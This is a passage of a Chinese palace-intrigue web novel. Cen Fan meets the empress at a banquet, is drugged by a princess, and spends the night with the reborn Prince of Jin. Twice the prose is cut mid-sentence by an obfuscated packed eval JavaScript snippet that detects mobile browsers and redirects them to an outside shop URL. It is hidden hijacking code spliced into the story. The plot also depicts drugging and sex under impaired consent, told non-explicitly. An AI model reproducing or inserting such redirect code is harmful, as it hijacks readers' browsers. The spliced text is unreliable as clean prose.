两个老人一直住在城郊的院子里。她还记得那院子里种有好多果树,夏天去看祖父母时,她总会拉着祖母到院子,缠着她去摘树上的果子,祖母那时总说她馋嘴,却还是会抱着她摘树上的果子,顺带砍几块甘蔗削了给她吃,再用手笑呵呵地帮她擦掉嘴角的果汁。 后来父亲走了,祖父祖母也跟着去了洛阳,虞家在彭城也没有什么坟可往外迁,走的也利索。 外祖父下令拆了那座院子,她也再未见过祖父祖母,就连甘蔗也许久没吃过…… 现在只有一抔黄土,她也再见不到了。 岑璠没有推辞,跟着那一大家子出门。 黄瑜已出嫁,和柳家人一起祭祖,此次同去的只有黄四姑娘黄珍。 黄氏出门前,试了个眼色,黄珍撇了撇嘴,不情不愿地和岑璠挤上一辆马车。 因着是去祭祖,一家人都穿着素衣,可毕竟是小姑娘最爱打扮的年纪,岑璠低眼瞧瞧,便能看见黄珍手上那精致的玛瑙翡翠手串。 她几乎都能想到路上会有多吵闹,一路上都在假寐。 黄珍见她一句话不说,心道无聊,眼珠一转,先开口说起来。 “你还算有点良心,我还以为你这次也不去呢。” 岑璠闭着眼,左右说什么对她来说都不痛不痒的,便全当没听见。 黄珍对她这幅爱答不理的态度很是不服,“你这是什么态度,不想去啊?” 她撅起嘴,酸溜溜的说了句,“祖母临走前,嘴里念叨的都是你,真是白疼了一场。” 岑璠倏然睁眼,第一次主动这个同住一院的“妹妹”搭了话。 “祖母说了什么?” 黄珍倒是记得清楚,眉毛一扬,生怕她听不到,“祖母说要给你剥甘蔗呢,说你最爱吃,吃不到要哭呢。” 岑璠静静听她说,眼眸低了下去。 她也记起来了,她小时候吃不到甘蔗,的确会哭闹。 祖母不识字,家人都会叫她的小名皎皎,祖母不会写这个字,也不知道是什么含义,便一直像乡下人叫小孩一样叫她“小妮儿”。 她虽是记不清,可几乎都能想到祖母从前是怎样同她说话的。 岑璠轻轻闭了眼,许久之后才睁开,恢复平静。 她带着目的来,对这个家里发生的冷暖事,本什么都不想知道。 可有些东西到底是甩不开。 “祖母她来这里,还种过甘蔗吗?” 黄珍“啊”了一声,回想了一番,摇了摇头,“甘蔗买现成的就行啊,这里可是洛阳。” “这样啊….”岑璠喃喃,靠在车上,又闭上了眼。 黄珍对她这副爱答不理的态度不满,可想到黄氏昨日到她房里的嘱咐,只嘴角抽了一下。 她四处看了看,目光凝在她的手上,“你的手好些了吗?” “好多了。”岑璠敷衍道。 黄珍看了看那道疤,有些怀疑,“还是挺疼的吧…..” 这么大个窟窿捅在手心里,应该是要哭的吧。 盼着岑璠能再多说几句有人情味的话,谁知却只等来一句,“还好吧。” 黄珍嗫嚅了两句,而后便掀开车幔去看窗外。 两人便是这么相安无事到了虞家的坟冢前。 珝儿将坟前的灰叶扫了出来,再由虞佑柏插了柳枝,摆好膰肉供果,还有祖父母生前喜欢吃的包点,在香炉中点香,坟前洒上酒, 能做的都做全了,虞佑柏领着一家人磕头,挂上纸钱,同两个老人念叨了一会儿家里的情况,不知道是不是因为前些日子岑璠伤了手,特意提了她。 “如今璠儿也回家了,你们可以尽管安心,在那边吃好喝好,保佑家里平安顺遂啊。” 说完,虞佑柏招呼她到前面来磕个头。 岑璠上前,实实在在拜了拜,心里倒没想着什么保佑家里的话,说的是句对不起。 她是回来了,可有她在的话,这个家怕是不能安生。 祭拜过后,几人便坐上马车,朝着城内而去。 到了家门口,虞佑柏才同她说起,清明家里人要去宫中的事。 虞佑柏才升任,难得争取来一次去宫中赴宴,定是格外重视,却独独瞒着她一个人。 岑璠知道为什么,以自己在这里的身份,瞒着她倒也说得过去。 可下一句话却是让岑璠有些意外。 “你妹妹尚未出阁,我想了想,这次还是璠儿跟着一起去吧。” 珝儿在一旁应和,刚从车上下来的黄珍却急红了眼,直喊凭什么。 这着实打了岑璠一个措手不及,耳边接连不断的吵闹声,她来不及细想,暂且答应下来。 回到屋内,岑璠关了门同乳娘说起此事,“乳娘可有听说虞家要去赴宴的事?” 乳娘摇头道:“老奴没有听说过呀…” 岑璠抿了抿唇,愈发觉得古怪。 乳娘却觉得没什么不妥,“老奴觉得,姑娘不若就跟着去一趟,说不准能见到宫里那位皇后呢。” 岑璠也是想到这点才答应。 她能接触到皇后几乎是不可能,眼下是个不可多得的机会。 * 自来了洛阳,岑璠没有怎么去过内城,更别说皇宫这种地方。 宫里这场宴会,说到底只是因为皇后在寒食节前的一天,眼前忽然出了一群神仙,那神仙坐在流水宴间,说的是五谷丰登之事。 当今皇帝虽是尊佛,可对鬼怪神仙倒也 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待晋王路过,虞佑柏双手揣在袖子里,低头快步走,“听说璠儿和那郑氏的姑娘认识,也该知道,这郑氏是有意和皇室联姻的。” 惊讶的是岑璠身旁的珝儿,而岑璠本人全当没听到。 虞佑柏以为她不死心,顾及着一旁的儿子,嘴唇往里收了收,没指名道姓,低声委婉道:“为父知道曾经亏欠过你们母女太多,璠儿不必担心,为父会你找门好亲事。” 岑璠不为所动,一直往前走,几乎都要越过虞佑柏,毫无波澜,提醒道:“父亲,在这里说这些,不合时宜。” 虞佑柏眼睛左右瞟了瞟,便闭了嘴。 走过宫道,虞佑柏带着珝儿去赴诗会,给一旁的宫人说些好话,领岑璠带画去永巷内见皇后。 永巷之内皆女眷,席间已经热闹起来,多是夫人带自己的女儿来赴宴,宴席选在花团锦簇的地方,隔了好远都能闻见花香。 岑璠坐在最不起眼的角落,并不想沾染什么是非。 幸的是,此次宴会不过是陪着做场戏,世家大族大多倒也不稀罕来。 来此的无人敢真的出头,经过她时顶多悄悄议论两句,至于议论什么,无非又是什么外室不外室。 岑璠不想去听那些,抚了抚画匣,手心有些发冷。 她看向那张无人的宝座,让自己适应。 真到皇后在一群宫女簇拥下出现时,岑璠反而心没有那么慌了。 那皇后和她想象的不同,没有上位者的压迫感,身着绢衣,并显不雍容华贵,宽袖上缀了层轻纱,薄如蝉翼,走起路来像是云端仙子。 皇后坐下后,待众人行礼,说了几句祝词,顺便提了自己这身衣裳。 这衣裳原是按梦里的神仙模样裁的,想必不过几日,洛阳便会兴起这样式的衣裳。 席间有人顺着这番话献礼,夸的无非也是皇后与仙人同梦,实乃喜兆。 岑璠按照父亲的嘱托,将那幅字画献给皇后。 她走上前,行跪拜礼,能瞥见缀在地上的薄纱,离得虽然不多近,可却能轻易闻到皇后身上有别于花香的香味。 徒有仙人之表,却是害死了她的母亲的凶手。 让高位者陨落并不容易,可这也是母亲生前唯一的念想。 太监将画打开,皇后扫了眼她的画,却是笑了,“这位姑娘送的可是松白先生的亲笔?” “是。”岑璠答道。 皇后微微摆手,让宫人将画收了起来,眼睛斜向低处,微长的眼尾添了一丝精明,让人捉摸不透,“本宫还记得,多年前还请过松白先生到宫里作画呢,如今见到画,倒像是见到了故人。” 15. 第十五章 岑璠知道,皇后所说的那位多半就是母亲了。 她缓缓抬眼,想将人认得更清楚。 面前尊贵的女人,虽已过了最好的年华,眼窝微微凹陷,整个人显得消瘦,可依稀还能瞥见过去的倾国之姿。 这虽是第一次见到,可她对此人了如指掌。 为防外戚专政,当朝若继承皇位,必去母留子。 这皇宫内并无多少妃子,却有两任皇后,先后杨氏投井而亡,而这位继后盛宠不衰。 皇帝膝下共四子一女,大皇子为宫婢之子,二皇子又是那自戕的皇后所生,都不受皇帝喜爱,三皇子三岁便早夭,唯有皇后所出的四皇子颇受重视。 那四皇子在先皇后自戕后第二日便被封为太子。 可也就是这位皇后,只因为一幅画犯了她的忌讳,便杀了她的母亲。 岑璠盯着面前的女人,将这副容貌刻在心底。 可皇后似是对她并不多感兴趣,也不问她的姓名,只瞧了片刻便移开了眼,随意从头上取了根钗,臂一摊懒懒地递出去。 “这钗便送给这位姑娘了。” 一旁的太监接过钗,递给岑璠。 宴席中已是有小声的议论 岑璠双手捧过,“谢皇后。” 皇后轻轻一笑,“下去吧。” 岑璠退下去,握紧手里的钗,手上多了几道压痕。 还没回角落的座上,已经有伶人抱着琴上宴。 乐声响起,星星点点的议论便也被淹没在其中。 皇后看着热闹的场景,时不时笑上一笑,在宴席上吃了不少酒,脸颊红若桃花,微微扶头,说自己吃醉了酒,又接了几句冠冕堂皇的话,便散了这场宴席。 席间三三两两结伴而去,岑璠一直盯着皇后离去的方向,嘴微抿,人都散的差不多了,还是未离开。 “岑姑娘?” 岑璠回过目光,抬头瞧去,只见刚才领着她来宴席的太监微躬腰,和刚才一样面上挂着笑,“奴才带姑娘去找虞大人吧。” 岑璠闻言起身,虽是有些不甘,却也只能随他离开。 老太监在前头带路,一句话不说。 路上安静下来,起初还能瞥见几个人影,渐渐地连鸟叫声都有些远了。 直到老太监又往里面拐了个弯,彻底偏离宫道,进入窄窄的深巷,岑璠慢慢停住脚步。 就在此时,老太监也跟着她停住,转了身行了一礼,“姑娘莫怪,是皇后娘娘让老奴给您带句话。” 岑璠手在袖下攥紧,目光如同冷箭,声音都带了些刺:“什么话?” “皇后娘娘说,松白先生当年来宫里画的画,就在她宫里,姑娘想看便随老奴走一趟吧。” 岑璠并没有动,手背向后面,余光扫了圈四周,“公公为何刚才不说?一定要到这种地方?” “这……” 老太监眼神飘忽一瞬,皱凹的唇收成一条缝,眼睛骤然瞪大,朝她走来。 就在此时,一高壮的男子从拐角出来,岑璠眼睁睁看着那老太监被一手刀劈倒在地。 她收回手中刚摸出来的钗,手慢慢垂下。 齐良越认得岑璠,也知道面前的小娘子对殿下格外重要。 他从未与她说过话,一时有些拘谨,只咧开嘴笑了笑,“殿下让我过来看看…” 这阖宫上下能被叫殿下,岑璠只认得一个,不知为何,她似乎总会与晋王扯上些牵连。 不过岑璠总算松了口气,看了看眼前男子的佩的刀,道:“多谢这位小将军,也帮我谢谢殿下。” 齐良越有些不好意思,摸了摸后脑勺,嘿嘿一笑,“应该的..…” 岑璠看向趴在地上的老太监,刚欲开口,却见角落又出现一位姑娘。 那姑娘身着绞缬对襟襦裙,梳着十字髻,探出头来,小声问道:“齐小将军,这是在干什么啊…” 只见齐良越回头,似有些惊讶,“公主殿下怎么在这儿?” 元斓小步挪出来,却是没有回答他的问题,看了看地上的老太监,身子一颤,“呀,这不是皇后身边的总管吗?” 岑璠又看了眼地上的老太监,眉微微蹙起,恍然间明白了什么。 她的父亲…… 那元斓似还有些不明所以,“这位姐姐又是…” 岑璠注视着那老太监,身子颤抖,显然没有听到有人在同她说话。 应是以为她在怕,元斓握住她的手,笑眼弯得像月牙,“姐姐莫要怕,齐小将军为人正直,打的必然是坏人。” 一旁的齐良越,先是被自家殿下的心尖人道谢,又被公主这么直白地夸,更不好意思。 元斓袖子遮起唇笑了笑,“齐小将军还是快把这里收拾了吧,我带这位姑娘回去。” 齐良越点了点头。 这五公主元斓是殿下的胞妹,自殿下掌了兵权,第一件事就是将公主身边的人换了个遍,求皇帝重修公主的宫殿,如今倒是没人敢欺负了去。 公主平日就爱粘在殿下身边,将岑姑娘交给她倒也放心。 还不待岑璠答应,元斓便牵着她的手往外走。 * 皇宫的深处,其实是一座座无人居住的宫殿。 元衡踏入的这座,便是他和被废的母后生前住过的冷宫。 也是前世他遇见岑璠的地方。 推开了门,宫殿已经许久未打扫过,春归化雪,地上满是干了的泥泞,可大抵和记忆中差不太多。 庭前便是母后生前常拜的佛堂,元衡径直走进去,屏住呼吸,朝角落不起眼的矮案走去,掐了香炉里的香。 前世他追着皇后的人来这里,便是在这里着了道,被他那皇妹撞破了去。 他在北地多年,可皇妹一直在宫里,儿时受过惊吓,撞见他二人衣衫不整,慌不择路,出去后动静便是闹大了。 最后岑璠认下了下药的事,他赚了个能容人的好名声。 元衡一手推开窗户,散了佛堂的余香,天色已经有些暗沉,阳光不那般刺眼,窗外冰冷的陶俑都被映上了绯红暮色。 他深吸一口气,走回佛堂正前,抬头看了看那尊斑驳的金身佛像,目光下移,聚在供台上。 供台不大不小,只摆着一方结了蛛网的青铜烛台,却足够躺下一个人。 他注视良久,将那烛台搬到了地上,看了两眼,却又觉得自己可笑。 她这一世不会来了,现在在这里做这些有什么用。 * 远处金乌西沉,躲在了屋檐后,岑璠已经跟着回到了主道上,只是手还泛着凉,回想起刚才的老太监,没有多少愤怒,也不想去找自己的父亲质问什么。 乳娘早都同她说过,虞佑柏把她接回来没安好心。 她自己早该想到不是吗? 她埋头往前走,忽然元斓晃了晃她的手,“前面可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13711283|144564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能遇见皇后的人,咱们往这儿走。” 两人又偏离了主道,那脚步极快,快到岑璠几乎来不及思考什么。 转过几个弯,手忽然被放开。 元斓继续往前走,步子骤然慢了很多,又过了一个门,才冷不丁开口,“姑娘可是虞家的女儿?” 岑璠并不想承认,不过那五公主似乎也并没想深究,停了步子转过身,轻轻一笑,那双眼注视着她,深不见底,仔细看去,倒真和晋王的眼睛有些相似。 “姑娘可知道,那老太监想干什么?”元斓微微挑眉,神神秘秘道。 元斓又靠近了些,身子前倾,“我刚才来时,看到了胡氏世子,也是往姑娘刚才去的方向呢。姑娘身段相貌都是极好,可惜就是生在虞家,身份呢也上不了台面,自然是会被这些男人盯上。” 那声音越说越冷,直攻岑璠心底最薄弱的地方。 “这洛阳,任凭你再有理,在权势面前也只能做个哑巴。 岑璠不禁往后挪了两步,强撑起镇定,问道:“所以呢?” 元斓低头笑了笑,从袖中拿出一方帕子,递给她,“看姑娘,额头上怎么这么多汗啊。” 岑璠只看了眼她手中的帕子,又盯住了那双眼睛。 元斓又上前去,帕子点上她的额头,“我只是想和姑娘商量件事,那胡氏世子荒淫无度,姑娘进了胡氏应该也只能得个侍妾,说不定哪天就没命了,倒不如…” 她凑到她耳边,轻轻说道:“我来帮你进晋王府,如何?” 话音绕耳,魅惑中夹杂幽冷,岑璠眼睛猛地睁大,赶紧退开,呼吸错乱,慌乱间又看向那张略显幼态的面容。 那双近在咫尺的眼睛,已经彻底收起了伪装,显出了原有的冷漠,不同于那晋王,多了几分歇斯底里的疯狂。 她难以置信,却毫不犹豫的回头往外走。 忽然,口鼻被绢帕用力捂住,一股刺鼻的香味呛进鼻腔,眼泪都被逼了出来。 就在岑璠以为自己要窒息时,背后的人忽然松了手。 可晕眩感却没有消失,岑璠拽开那双手臂,连连退了好几步,扶着墙角稳住身形。 那五公主将帕子慢慢收回袖中,朝她一步步走来,就像那匍匐许久的毒蛇,藏匿在深处,终于露出了毒牙。 岑璠顾不了问她什么,摇摇晃晃往回走,可渐渐便不认得回去的路,只能遇到一扇门便敲一扇,祈求这里能有人给她开门。 可冷宫深苑,常人不会来。 岑璠时不时回头望,只是那五公主并不着急,不紧不慢缀在她身后跟着,看着她无力挣扎。 一只受了伤的猎物,猎人不需要再费什么力气,只需要抱着玩乐的心态,看着猎物流干血就行。 岑璠头越来越晕,眼睛酸疼不同于刚才彻骨的寒意,胸腔里好像有火在烧,烧的人骨头都在发麻,喘不过气,像是随时都要被烧着一样。 像是前一阵做的梦。 她不知道元斓要干什么,可也不想在这里不明不白认命。 她咬紧了唇,牙尖刺破了皮,竭尽全力往前跑,不管三七二十一扯着嗓子喊,“有人吗?五公主她要杀人…” 可刚出口,岑璠便不再喊了。 现在她这样,万一遇到的还是个坏人……. 她又回头,想看看那五公主的反应,却发现后面竟然已经没了人…… 而前面的门忽然打开了。 16. 第十六章 岑璠看不清开门的是谁,只能隐约知道是个男人。 只是看了一眼,岑璠便又摇摇晃晃低头往前走。 元衡顿住脚步,站在门口愣了半晌。 她步子愈发踉跄,长长的发带摇缀,繁复飘逸的袿衣拖在地上,似是随时都会把人绊倒。 元衡跟了上去。 岑璠能感觉到有人越走越近,她咬紧牙关,步子又迈得快了些。 可这一串动作在其他人眼里看来却是迟缓且吃力。 元衡紧在她后面,想叫住她,“岑璠。” 岑璠没有回头,执拗地往前走,声音哑的不行,偏说出来的话冷硬无比。 “滚,别跟着我。” 元衡此前听过她最冷的话,是上辈子和离的时候,可也不像现在这般,带着攻击和厌恶。 他脚步停了一瞬,抿了抿唇,看着她独自往前。 只是还没走几步,岑璠便也停了,躬下身捂住了胸口,整个胸腔被灼得难以呼吸。 元衡皱眉,自后追了上来,扶住她的腰,下一瞬果断将她抱了起来。 岑璠清醒了一瞬,可灼烧感丝毫不减,像是有蚂蚁在骨头缝上爬,抱起她的人身上反而冰凉得想让人靠近。 她掐住自己的手臂,忍住没有靠过去,盯住抱着她的人,眼睛红了一圈。 可她应该是坚持不了多久了,比起无媒苟合,她更怕就这样死在宫里。 就和母亲一样的下场…… 她咬破了唇,最后也只能无力地说出一句在别人看来不痛不痒的话。 “我恨你们。” 元衡脚步一顿,看着她那红得不正常的脸色,心底刺痛,为自己辩解了一句,“我带你去太医署。” 他无视她眼中的恨意,步子又加快了些。 只是下一刻,她扯开了他的衣领。 重来一世,元衡还是第一次这样无措。 岑璠下了狠手,后颈被勒得生疼,元衡腾不开手,只能先将她放到地上。 他托着她的腰,还没将她放稳,那柔软的唇却贴上了他的喉结。 元衡呼吸也沉了几分。 岑璠牙尖抵住他的喉咙,若再利一些,怕是真的会刺穿脖子上薄弱的皮肤。 无论是常年征战的将,还是身处朝堂的官,都不该把自己的命脉交给任何人才对。 元衡只是一动不动地托着她的背,闭着眼。 岑璠仍没有动手,死死抓住他的衣裳,似是觉得还不够,侧头大口朝着他侧颈咬下去。 元衡咬紧了后牙,拦腰抱起她往回走。 岑璠不知道面前的人要去什么地方,用尽剩下的力气咬下去,尝到了血腥。 那步子越来越快,岑璠眼睛被烧得疼,看不清眼前变换的景物,意识逐渐模糊,搂住他的脖子不肯松口,力道却越来越轻。 她整个身子颤抖,却阻挡不了外面的天色越来越暗沉,进了门后,光被挡在外面,更是昏暗的什么都看不清了。 似是被人抵坐在一张高案上,薄唇贴了上来,岑璠下意识躲,却被噙住了下唇,从热烈逐渐变得疯狂。 她伸出手,贪图面前的冰凉,忍不住靠了上去,却在男人半露的宽厚脊背上留下了一道长长的抓痕。 元衡清醒着,却仿佛感觉不到疼,毫无章法地扯开层层纱衣,白纱如瀑布,自桌上倾泻而下。 她顺着力气躺了下去,靠近那温凉的身体,那人似是知道她最渴望什么,引得一阵战栗。 眼睫微颤,却恍然间看到梦里那尊佛像,慈悲的目光,却在看着她的丑态。 岑璠瞳孔骤然一缩,无力和绝望霎那间席卷而来。 她缓缓闭上眼,侧过头,手上的狠劲也跟着卸了去,松松垮垮搭在宽阔的背上。 他不满她的反应,食指强势地勾了她的下巴,唇又覆了上来。 身上的灼热有所舒缓,岑璠认了命,不再反抗,却还是执拗地不肯回应。 忽然间她却睁开了眼,紧拧着眉,攥起拳,腕微微扭动,浑身绷得僵硬。 元衡两世也只有过这么一个人,可他知道,过去他对她并不温柔,有时甚至会提出些过分的要求,她向来迎合,会紧紧抱住他,却总是皱着眉。 她在发抖,这时该是难受的。 他抬起手,一点点揉开她的眉,握住她暗自使劲的腕,十指相扣,凭着上辈子的熟悉,极尽温柔。 一叶浮萍,无依无靠,任波澜起伏,时缓时急,随波飘荡。 佛堂之中不得清净,荒唐一夜。 …… 声音最终在佛堂一侧的厢房沉了下去。 旧到泛黄的被子散落在地上,隐隐露出一条发带,元衡看着怀里的女人,挑开她散乱开的头发。 她脸上不正常的潮红已经褪去,白玉般的面容半掩,盖着他的衣裳,枕着他的手臂,正倚在他怀里沉沉睡着,再没有一点防备,想来这一晚是累极了。 他又翻开她的手心看了看那道疤,这一世,她没有撞上那烛台,只是嫩白的手面上多了好几道掐出来的指甲印。 元衡眼神暗了一瞬,忍不住揉了揉她的手心。 窗外天色仍旧黑沉,只有一丝亮的迹象,想来离天亮还要一阵。 如果按着过去的轨迹,他那皇妹想必还是要来…… 有些事无法改变,他和她也还是这样,或许他们就是注定不能和正常的夫妻一样。 可重来一次,至少他能等她醒来,给一个让她安心的承诺。 他还可以想想,之后把她带回晋阳该怎么对她好,怎么让其他人不再欺负了她去。 或许他还可以像那些人一样,叫她皎皎,而她不会再叫他殿下,会唤他夫君,还会给他生几个孩子。 如果他能夺得皇位,那便生三个最好,也不要太多,这样她太辛苦,如果不能…… 没有如果。 他否认其他可能,沿着唯一的设想一趟想下来,便是把下半辈子都想了进去。 天色已经微白,他渐渐相信,这也并不是什么无法挽回的事。 就是委屈了她,该有的洞房花烛终是会留有一些遗憾。 元衡摸了摸她的发顶,上辈子他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13711284|144564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从未抱着她度过完整的一夜,没想到欢愉过后,还能这种满足地温存。 也不知道从前是怎么想的。 不过她还是有些瘦了,或许将来他还能将他养得再好些。 他心满意足闭上眼,拥怀中之人浅眠。 只是这一世的岑璠,似乎醒的早了些。 元衡才刚睡了一会儿,便被她蹭醒了,他低头,心道像只猫一样…… 岑璠睁眼,在看到身上披着的衣裳时便不动了。 她眼睛缓缓上移,在对上男人的黑眸时,眼睛睁大了一瞬,长睫轻颤,而后那目光又落下。 她收紧了身上盖的衣袍,又合上了眼,一滴眼泪无声地划过脸颊。 元衡思绪陡然一滞,凝着她那滴泪划到看不见的地方。 在他的记忆里,上一世她醒来时,没有向他乞怜,也是一副波澜不惊的样子,可她绝对没有哭过…… 他唯一一次见她哭,是在她嫁到王府后,那时他喝醉,说了什么已经记不得,估计是说了很难听的话,她才哭了…… 现在的她怎么会哭呢? 元衡怔了许久,脸色渐沉。 想了一晚上的事,仿佛一瞬间全都没了着落。 他喉结微动,还是按自己事先想好的,起身拿了她那层层叠叠的衣裳,轻轻搁到她面前,“先穿上,我有话同你说……” 那声音低哑,比起平日少了几分冷硬,像是浮沙一般。 岑璠指尖微动,心底却没有多少暖意。 一直都是他,她躲不过…… 她目光无神,像一具躯壳,一动不动躺了半晌有余,慢慢起身。 全身的不适都在叫嚣昨夜的荒唐,岑璠收紧唇,颤抖着从床边拽了衣裳,转过身去。 始终没有再看过他,平静地让人害怕。 不似元衡身上那件被扯松的中衣,她的衣裙倒还都好好的,层层件件的衣裙虽有些皱,却是被人叠放得很有条理。 岑璠脸色变得煞白,抓了自己的衣裳,裹在身上的宽袍自肩头滑落,露出白润的脊背。 她利落地遮挡住后背,再套衣袖,手下无声,却是胡乱系了个死结,剩下一截衣带被逐渐扯得笔直,用力到手指泛白。 元衡目光一直凝在她的背影上,自是发现了她的异常。 他目光逐渐变得幽暗,刚流露出的些许期待彻底被掩盖在了阴霾下。 身上只穿着那件松松垮垮的中衣,挺立在床边,岿然不动,呼吸却乱了些许。 “我会娶你。”元衡不想再解释什么,只对她说了这么一句话。 从背后看,岑璠并没有多少反应,只是那拽着衣带的手松了力,垂下来,没了接下来的动作。 身上只穿了一件衣衫,身形显得格外单薄 天又白了几分,透过窗子照亮了屋内的破败景象,也照清了彼此的面容,可两个人都背着窗,只能看到投下的影子。 屋内寂静了许久,只剩下缓慢和急促的呼吸交错浮动。 许久之后,岑璠开了口,语气平静,“殿下就当昨夜没见过民女吧。” 17. 第十七章 “你说什么?” 那声音上提,透着彻骨的寒意,似在质问。 岑璠手指微蜷,明知他看不到,还是闭起眼,换了个更生疏的称呼,说的更明白了些。 “晋王可否就当,昨晚什么都没发生过?” 一阵寒风吹了进来,静得可怕。 元衡看着她,声音压得低沉,“你的意思是,孤什么都不用做?” “是。” “不用我负责到底?” “民女不敢。”岑璠答得干脆。 重生以来,许多幻想被短短几句话击得粉碎。 元衡不敢信,也想不明白。 他红了眼,下颚动了动,怎么也不甘心,道:“如果我要呢?” 他要什么? 岑璠微微抬眼,思绪纷乱如麻,梦中的依稀画面划过脑中,脊背只一阵寒凉。 她手放到旁边的衣裳上,紧攥了一下,而后深吸一口气,抓起来继续穿剩下的衣衫,“殿下不必觉得愧疚,没什么的。” “没什么…”元衡重复了一遍,蓦然扯开唇,冷笑一声,“你觉得这样没什么?” 岑璠抿了抿唇,一只手在领口收紧,淡淡道:“昨晚是民女失态,与殿下无关,殿下也应该知道,民女只是个外室女,配不上殿下,就算殿下什么都不做,民女也不敢往外面说半句。” 好一个配不上,好一个不敢说。 她只言片语,便想将他撇得一干二净。 若不是元衡领教过,或许倒真会信了她这番说辞。 可惜他见识过,见过她的胆大妄为,也见过她为了进他的王府苦苦哀求的样子。 她不是不敢,分明就是不愿意了。 她睡了他整整一夜,现在在他面前穿了衣裳,就不想认账了。 那他算怎么一回事? 元衡不死心,说出口的话咄咄逼人,“所以昨夜非你所愿,是吗?” “是。”岑璠答了一个字。 “没有半分假话?” “殿下何必再问呢…” 这一番话才算是盖棺定论了,元衡静静看着她,一时间只剩了沉默。 岑璠慢慢套好了所有的衣裳。 除了一些无法掩藏的凌乱痕迹,一切就好像没发生过。 元衡守在床边,看着她下了床,站起来的动作分明还有些不利索。 就在她走过时,他握住了她的腕,“韩泽…” 岑璠转过头,眼中满是疑惑,转头看了他两眼。 显然,她并不认识…… 元衡抿了抿唇,手松了些,没再试探,同她解释道:“这是我府上的人,你好好休养,他会把药送到虞府。” 岑璠不着痕迹将手往后缩了缩:“民女多谢殿下好意,民女自己会去买药。” “人多眼杂,殿下等我走后再离开吧。” 看,就像她说的一样,什么发生过一样。 元衡一时失魂,彻底收回手,由着她离开。 待离开了那庭院,岑璠便再也装不下去,双臂紧抱,浑身发冷。 高高的宫墙围住了碧空,压得人喘不过气。 她还是不认得路,只想赶紧逃离这里,就当一切都是噩梦。 她扶着墙往外走,浑身上下还是酸疼。 折腾了一夜,无人寻到此处。 或许是根本不想寻。 五公主,皇后,晋王,还有她那父亲…… 岑璠脚步慢了下来,靠在墙边,缩成一团。 不知什么时候,面前停了一个宫婢,见到她的模样,漠然道:“姑娘跟我走吧。” 岑璠蜷在那里,没动,抬头冷声问:“你是谁的人?” 那宫婢倒也不隐瞒,“五殿下说,若是您单独出来,就带您出去。” “姑娘若是想活命,就跟着我走,出去什么都别往外面乱说,剩下的公主殿下去安排。” 岑璠眼睛红了许多,可那双眼睛在人看来只有可怜,却没有任何威胁。 宫婢低眼看着她,神色没有任何变化,做了个请的手势,“姑娘走吧。” 岑璠缓缓站起身,跟着她走。 宫婢跟在她旁边,递过来一包药,“这是避子的药,回去喝了。” 岑璠脚步顿了一下,迟疑了许久,手才伸出。 这确实提醒了她,如果真有什么,确实会是个很大的麻烦。 宫婢似是有些不耐烦,把东西塞到了她手里,给她带了帏帽,而后又什么都不说了。 一辆不起眼的马车停在宫门外,宫女亮出公主的令牌,无人敢阻拦。 岑璠回家时,虞佑柏并不在家,只有黄氏在门口急地团团转。 黄氏见了她从马车上下来,头发散乱开,衣裳也不如出去时那般齐整,连忙上前,想要问问马车上的人是怎么回事。 可那马车上的人连看都不屑看一眼,放下岑璠便离开了。 黄氏仔细看了看,瞧见她颈上的痕迹,毕竟为人妇多年,一时间便看明白了什么,嘴巴张大,往后退了一小步,声音变小许多。 她顿了顿,问道:“璠儿可愿说说,这是怎么回事?” 岑璠懒得去想她是虚情还是假意,失魂地往回走。 院内只有乳娘和紫芯,乳娘站在门前远远望着,紫芯来回跺脚,看到岑璠回来,上下打量了一番,“这又是怎么了?” 上回几天没回家伤了手,这次又怎么了? “槿儿呢?”岑璠反问。 紫芯看了看她,虽是觉得她的样子颇为狼狈,却没怎么往其他方面想。 “槿儿和老爷出去找你了。” 岑璠眼眸微垂,将那副药递到她手上,道:“那你去煎了吧。” 紫芯皱了皱眉,“什么药?” “没什么。” 紫芯嘟囔了两句,岑璠早已习惯,待她走后便进屋子。 乳娘跟在她身后,皱起的眼皮随着眼珠微抖,眼框湿润,欲言又止,“姑娘…” 岑璠背对着她,道:“乳娘,我想沐浴…” “有什么事,之后再问吧。” 乳娘小心翼翼道:“那姑娘我、我去叫人烧水。” 岑璠静静坐在房内,紫芯端了药回来也没有察觉。 紫芯看了看她,见她脸色不好,倒也没多说什么,反而收起些脾气,将药放在桌上,“药煮好了,姑娘晾一晾,记得喝了啊。” 乳娘也交代完了事,进屋拿了新衣裳,见紫芯在一旁站着,便让她去忙自己的事。 药碗就在岑璠手边,还冒着热气。 乳娘小声问,“姑娘,这是…” 岑璠低眼,抬手端起碗,嘴唇碰到汤药,舌尖又苦又涩。 刚准备咽下,她忽然间手一抖,将嘴中的药全吐了出来。 碗沿磕在桌上,摇摇晃晃转了几圈,药全洒了出来,浓郁的药味一下子弥漫开。 岑璠愣愣看着那碗黑漆的药,惊魂未定,许久才收回僵了的手。 乳娘吓了一跳,声音也有些颤抖,“姑娘怎么了?” 岑璠眼下泛起了红,“乳娘…把药倒了吧,我不喝了…” 乳娘愣了愣,点了点头,“咱们不喝就不喝…” 乳娘拿了幡布来,擦了汤药,时不时瞄两眼自家姑娘。 待收拾好,乳娘走回去,看到自家姑娘蜷成一团,坐在她身旁,拍了拍她的背。 岑璠身子一震,下意识转头,发现是乳娘,这才放松些。 